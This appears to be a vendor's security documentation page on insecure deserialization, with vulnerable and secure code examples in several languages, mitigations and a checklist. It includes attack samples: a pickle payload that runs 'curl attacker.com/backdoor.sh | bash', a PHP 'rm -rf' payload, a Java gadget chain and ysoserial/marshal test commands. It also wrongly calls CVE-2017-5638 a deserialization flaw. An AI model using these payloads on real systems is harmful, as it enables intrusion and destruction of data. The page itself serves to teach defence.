Documentation

# Insecure Deserialization

CRITICAL SEVERITY REMOTE CODE EXECUTION OWASP TOP 10

# Overview

Insecure Deserialization is one of the most dangerous vulnerabilities in modern web applications, often leading to Remote Code Execution (RCE) - meaning attackers can run any code they want on your server.

Insecure Deserialization
Insecure Deserialization


# Simple Explanation

# Real-World Analogy

Imagine you're an airline that has a special technology: you can convert passengers into compact luggage for shipping (serialization), then unpack them back into passengers at the destination (deserialization).

Here's the problem: If you don't inspect the luggage before unpacking it, an attacker could smuggle a bomb inside. When you unpack the luggage at the destination, the bomb detonates.

# The Technical Explanation

Converting program objects into text/bytes for storage or transmission

Converting that text/bytes back into objects

Attacker modifies the serialized data to create malicious objects that execute code when unpacked

# Common Use Cases

Applications frequently need to save complex data structures (objects) to:

  • Store in databases
  • Send across networks
  • Cache in memory
  • Save to files

# The Vulnerability

# Step-by-Step Attack Scenario

User adds item to cart → Application serializes cart object → Stores in cookie

Normal serialized cart (simplified):

O:4:"Cart":2:{s:5:"items";a:1:{i:0;s:6:"Laptop";}s:5:"total";i:1000;}

This represents: Cart object with 1 item (Laptop) and $1000 total.

Attacker captures their own cookie and sees the serialized format.

They realize: "The application deserializes this cookie on every request!"

Attacker creates a malicious serialized object that, when deserialized, will:

  • Execute system commands
  • Create backdoor accounts
  • Read sensitive files
  • Install malware

Malicious serialized payload:

O:10:"EvilObject":1:{s:7:"command";s:15:"system('rm -rf')";}

Attacker replaces their legitimate cookie with the malicious one and sends a request.

[Vulnerable Code]
// VULNERABLE CODE
$cart = unserialize($_COOKIE['cart']); // DANGER!
[Attack Result]
When the server deserializes the malicious object:
1. It reconstructs the "EvilObject"
2. The object's constructor or magic methods execute automatically
3. The embedded command runs: system('rm -rf') - deleting files!

Result: Attacker achieves Remote Code Execution (RCE) on the server

# Types of Deserialization Attacks

# 1. Remote Code Execution (RCE)

Executing arbitrary code on the server

[VULNERABLE Python Code]
import pickle
user_data = request.cookies.get('session')
session = pickle.loads(base64.b64decode(user_data))  # DANGER!
[Attack Payload]
import pickle
import os

class MaliciousClass:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/backdoor.sh | bash',))

payload = pickle.dumps(MaliciousClass())
# Attacker sends this as cookie
[What Happens]
When the server deserializes this, it executes the command to download and run a backdoor script.

# 2. Denial of Service (DoS)

Creating objects that consume excessive resources

// Create enormous serialized object
byte[] hugeObject = createGiantSerializedArray(1000000000);
// Server runs out of memory trying to deserialize it

# :icon-lock-open: 3. Authentication Bypass

Manipulating serialized session data to gain unauthorized access

{'user_id': 123, 'is_admin': False}
{'user_id': 123, 'is_admin': True}

Application deserializes and grants admin access

# 4. SQL Injection via Deserialization

Embedding SQL commands in serialized objects

// Attacker crafts object with SQL injection
SerializedUser user = {
    username: "admin' OR '1'='1",
    // ...
}
// When deserialized and used in query, causes SQLi

# Real-World Examples

# Case Study 1: Equifax Breach (2017)

Apache Struts2 deserialization vulnerability (CVE-2017-5638)

  • 147 million people affected
  • Social Security numbers, birth dates, addresses stolen
  • $700+ million in costs
  • CEO resigned
  1. Attackers exploited deserialization flaw in file upload feature
  2. Sent malicious serialized objects in HTTP headers
  3. Gained remote code execution
  4. Accessed databases for months undetected
// Vulnerable Struts2 code (simplified)
Object obj = objectInputStream.readObject(); // Deserialized untrusted data

# Case Study 2: Jenkins (CVE-2017-1000353)

Java deserialization in Jenkins automation server

  • Remote code execution on Jenkins servers worldwide
  • Thousands of servers compromised
  • Used for cryptocurrency mining and botnets
  • Jenkins CLI deserialized user-supplied data
  • Attackers sent malicious serialized Java objects
  • Achieved full server control

# Case Study 3: Apache Commons Collections

Widely-used Java library vulnerability

  • Affected thousands of applications
  • Used in numerous real-world breaches
  • Created "ysoserial" attack framework
// Malicious object that runs system command when deserialized
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[] {String.class, Class[].class },
        new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke",
        new Class[] {Object.class, Object[].class },
        new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] {String.class },
        new Object[] {"calc.exe"}) // Runs calculator (proof of concept)
});

# Prevention & Mitigation

# 1. Avoid Deserializing Untrusted Data (Best Practice)

[ Dangerous]
import pickle
user_session = pickle.loads(request.cookies.get('session'))
[ Safe]
import json
user_session = json.loads(request.cookies.get('session'))
# JSON is data-only, cannot execute code
  • JSON - Data-only, no code execution
  • YAML (safe_load) - Restricted YAML parsing
  • Protocol Buffers - Binary format, type-safe
  • MessagePack - Efficient binary JSON

# 2. Digital Signatures

If you must serialize objects, sign the data to prevent tampering

[Secure Serialization with Signature]
import hmac
import hashlib
import json
import base64

SECRET_KEY = 'your-secret-key-here'  # Keep this secret!

def serialize_safe(data):
    # Serialize data
    serialized = json.dumps(data)

    # Create signature
    signature = hmac.new(
        SECRET_KEY.encode(),
        serialized.encode(),
        hashlib.sha256
    ).hexdigest()

    # Combine data + signature
    safe_cookie = base64.b64encode(
        f"{serialized}|{signature}".encode()
    )
    return safe_cookie

def deserialize_safe(safe_cookie):
    # Decode
    decoded = base64.b64decode(safe_cookie).decode()
    serialized, signature = decoded.split('|')

    # Verify signature
    expected_signature = hmac.new(
        SECRET_KEY.encode(),
        serialized.encode(),
        hashlib.sha256
    ).hexdigest()

    if signature != expected_signature:
        raise ValueError("Invalid signature - data was tampered!")

    # Safe to deserialize
    return json.loads(serialized)
  • Attacker can't modify the data without knowing the SECRET_KEY
  • Any tampering invalidates the signature
  • Server rejects tampered data before deserialization

# 3. Type Constraints and Validation

Limit what types of objects can be deserialized

// Create whitelist of allowed classes
public class SafeObjectInputStream extends ObjectInputStream {
    private Set<String> allowedClasses = new HashSet<>(Arrays.asList(
        "com.yourapp.User",
        "com.yourapp.Session",
        "java.lang.String"
    ));

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
        if (!allowedClasses.contains(desc.getName())) {
            throw new InvalidClassException(
                "Unauthorized deserialization attempt",
                desc.getName()
            );
        }
        return super.resolveClass(desc);
    }
}

// Use the safe version
SafeObjectInputStream in = new SafeObjectInputStream(inputStream);
Object obj = in.readObject();  // Only whitelisted classes allowed
import jsonpickle

class SafeUnpickler:
    ALLOWED_CLASSES = {
        'User': User,
        'Session': Session
    }

    def loads(self, data):
        obj = jsonpickle.loads(data)
        if obj.__class__.__name__ not in self.ALLOWED_CLASSES:
            raise ValueError(f"Class {obj.__class__.__name__} not allowed")
        return obj

# 4. Isolate Deserialization

Run deserialization in isolated environments with limited privileges

// Run deserialization in restricted security manager
SecurityManager sm = new SecurityManager();
System.setSecurityManager(sm);

// Deserialization now runs with limited permissions
Object obj = inputStream.readObject();
  • Run deserialization in Docker containers
  • Limit container resources and network access
  • If compromised, damage is contained
  • Dedicated service for deserialization
  • No access to databases or sensitive systems
  • Validates data before passing to main application

# 5. Monitoring and Logging

[Monitored Deserialization]
import logging

def deserialize_with_monitoring(data, source):
    logger = logging.getLogger('deserialization')

    # Log all deserialization attempts
    logger.info(f"Deserialization attempt from {source}")
    logger.debug(f"Data size: {len(data)} bytes")

    try:
        # Attempt deserialization with timeout
        with timeout(5):  # 5-second limit
            obj = safe_deserialize(data)
            logger.info("Deserialization successful")
            return obj
    except Exception as e:
        # Log and alert on failures
        logger.error(f"Deserialization failed: {e}")
        send_security_alert(f"Possible deserialization attack from {source}")
        raise
  • Deserialization failures (potential attack attempts)
  • Unusual object types
  • Large serialized data (DoS attempts)
  • Repeated failures from same source

# Detection & Testing

# Code Review Red Flags

[PHP]
unserialize()  // Extremely dangerous with user input
[Python]
pickle.loads()  # Never use with untrusted data
pickle.load()
yaml.load()     # Use yaml.safe_load() instead
[Java]
ObjectInputStream.readObject()  // High risk
XMLDecoder.readObject()
[Ruby]
Marshal.load()  # Dangerous with user input
YAML.load()     # Use YAML.safe_load()
[Node.js]
JSON.parse()            // Generally safe, but check for prototype pollution
node-serialize.unserialize()  // Dangerous

# :icon-map: Where to Check

Session data, user preferences

Custom headers, authentication tokens

POST bodies, request parameters

ViewState (ASP.NET), hidden inputs

Stored serialized objects

RabbitMQ, Kafka messages

Redis, Memcached data

# Testing Tools

# Generate malicious Java serialized object
java -jar ysoserial.jar CommonsCollections5 'calc.exe' | base64

# Test on target
curl -X POST http://target.com/api \
  -H "Cookie: session=<base64-payload>" \
  -v
import marshal
import base64
import types

# Create payload that executes command
code = compile("__import__('os').system('whoami')", "<string>", "exec")
payload = base64.b64encode(marshal.dumps(code))

# Test on target
import requests
requests.post('http://target.com/api',
    cookies={'session': payload})
  • Automatically detects deserialization
  • Tests multiple exploit chains
  • Supports Java, .NET, Python, Ruby

# Secure Implementation Examples

# Example 1: Session Management (Python/Flask)

[ WRONG (Vulnerable)]
from flask import Flask, request, make_response
import pickle
import base64

app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
    user = authenticate(request.form['username'], request.form['password'])

    # DANGEROUS: Serializing and storing in cookie
    session_data = pickle.dumps(user)
    encoded = base64.b64encode(session_data).decode()

    response = make_response("Logged in")
    response.set_cookie('session', encoded)
    return response

@app.route('/dashboard')
def dashboard():
    # DANGEROUS: Deserializing user input
    session_cookie = request.cookies.get('session')
    user = pickle.loads(base64.b64decode(session_cookie))
    return f"Welcome {user.username}"
[ RIGHT (Secure)]
from flask import Flask, request, session
from flask_session import Session
import secrets

app = Flask(__name__)

# Use server-side sessions
app.config['SESSION_TYPE'] = 'filesystem'
app.config['SECRET_KEY'] = secrets.token_hex(32)
Session(app)

@app.route('/login', methods=['POST'])
def login():
    user = authenticate(request.form['username'], request.form['password'])

    # Store only user ID in signed session cookie
    # Flask handles signing/verification automatically
    session['user_id'] = user.id
    session['is_admin'] = user.is_admin

    return "Logged in"

@app.route('/dashboard')
def dashboard():
    # Retrieve session data (automatically verified)
    user_id = session.get('user_id')
    if not user_id:
        return "Not logged in", 401

    # Fetch user from database
    user = User.query.get(user_id)
    return f"Welcome {user.username}"

# Example 2: API Response Caching (Node.js)

[ WRONG (Vulnerable)]
const serialize = require('node-serialize');
const redis = require('redis');
const client = redis.createClient();

app.get('/api/user/:id', async (req, res) => {
    const cacheKey = `user:${req.params.id}`;

    // Check cache
    client.get(cacheKey, (err, cached) => {
        if (cached) {
            // DANGEROUS: Deserializing cached data
            const user = serialize.unserialize(cached);
            return res.json(user);
        }

        // Fetch from database
        const user = await User.findById(req.params.id);

        // DANGEROUS: Serializing objects
        client.set(cacheKey, serialize.serialize(user));
        res.json(user);
    });
});
[ RIGHT (Secure)]
const redis = require('redis');
const client = redis.createClient();

app.get('/api/user/:id', async (req, res) => {
    const cacheKey = `user:${req.params.id}`;

    // Check cache
    const cached = await client.get(cacheKey);
    if (cached) {
        // SAFE: JSON is data-only
        return res.json(JSON.parse(cached));
    }

    // Fetch from database
    const user = await User.findById(req.params.id);

    // SAFE: Store as JSON
    await client.set(cacheKey, JSON.stringify(user), {
        EX: 3600  // 1-hour expiration
    });

    res.json(user);
});

# Example 3: Message Queue Processing (Java)

[ WRONG (Vulnerable)]
// Consumer reads messages from queue
public void onMessage(Message message) {
    try {
        byte[] body = message.getBody(byte[].class);

        // DANGEROUS: Deserializing untrusted data
        ByteArrayInputStream bis = new ByteArrayInputStream(body);
        ObjectInputStream ois = new ObjectInputStream(bis);
        Task task = (Task) ois.readObject();  // DANGER!

        processTask(task);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
[ RIGHT (Secure)]
import com.fasterxml.jackson.databind.ObjectMapper;

public class SecureMessageConsumer {
    private final ObjectMapper mapper = new ObjectMapper();

    public void onMessage(Message message) {
        try {
            String body = message.getBody(String.class);

            // SAFE: JSON deserialization with type validation
            Task task = mapper.readValue(body, Task.class);

            // Additional validation
            if (!isValidTask(task)) {
                throw new SecurityException("Invalid task data");
            }

            processTask(task);
        } catch (Exception e) {
            logger.error("Message processing failed", e);
            sendToDeadLetterQueue(message);
        }
    }

    private boolean isValidTask(Task task) {
        // Validate all fields
        if (task.getId() == null || task.getId() <= 0) return false;
        if (task.getType() == null || !ALLOWED_TYPES.contains(task.getType()))
            return false;
        return true;
    }
}

# Security Checklist

# Development

  • Never deserialize data from untrusted sources
  • Use safe formats (JSON, Protocol Buffers) instead of native serialization
  • Implement digital signatures for serialized data
  • Whitelist allowed classes for deserialization
  • Validate all deserialized data before use
  • Avoid pickle, Marshal.load, unserialize() with user input
  • Use safe alternatives (json.loads, yaml.safe_load)

# Infrastructure

  • Isolate deserialization in sandboxes or containers
  • Run with minimal privileges
  • Implement timeouts for deserialization operations
  • Monitor deserialization attempts
  • Keep frameworks and libraries updated
  • Configure WAF rules to detect serialization patterns

# Testing

  • Identify all deserialization points
  • Test with modified serialized data
  • Use ysoserial for Java applications
  • Test with oversized payloads (DoS)
  • Verify signature validation
  • Check error messages don't leak information
  • Penetration testing with deserialization exploits

# Key Takeaways


# References & Resources

# Official Documentation

# Testing Tools

# Learning Resources


# Layerd AI Protection

Layerd AI Guardian Proxy automatically detects and blocks deserialization attacks:

  • Signature validation - Ensures data integrity
  • Anomaly detection - ML-powered identification of malicious patterns
  • Automatic blocking - Real-time prevention of exploit attempts
  • Zero performance impact - Line-rate inspection

Learn more about Layerd AI Protection →


Remember: Insecure deserialization is a critical vulnerability that can lead to complete server takeover. Always use safe serialization formats like JSON, and never trust user-supplied serialized data.

When in doubt, use JSON instead of native serialization!


Last updated: November 2025